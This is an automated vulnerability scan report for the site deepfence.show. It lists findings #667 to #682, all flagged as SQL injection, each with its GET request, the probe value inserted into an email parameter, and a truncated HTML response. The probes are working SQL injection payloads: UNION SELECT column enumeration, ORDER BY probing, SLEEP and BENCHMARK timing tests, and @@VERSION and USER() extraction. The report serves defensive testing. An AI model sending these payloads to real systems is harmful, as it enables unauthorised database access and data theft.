Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #667
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #668
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io\\
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #669
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #670
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #671
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #672Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #673
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io %' AND 8310=8311 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #674
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #675
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #676
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #677
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' AND id IS NULL; --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #678
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #679
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #680
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #681
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #682
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
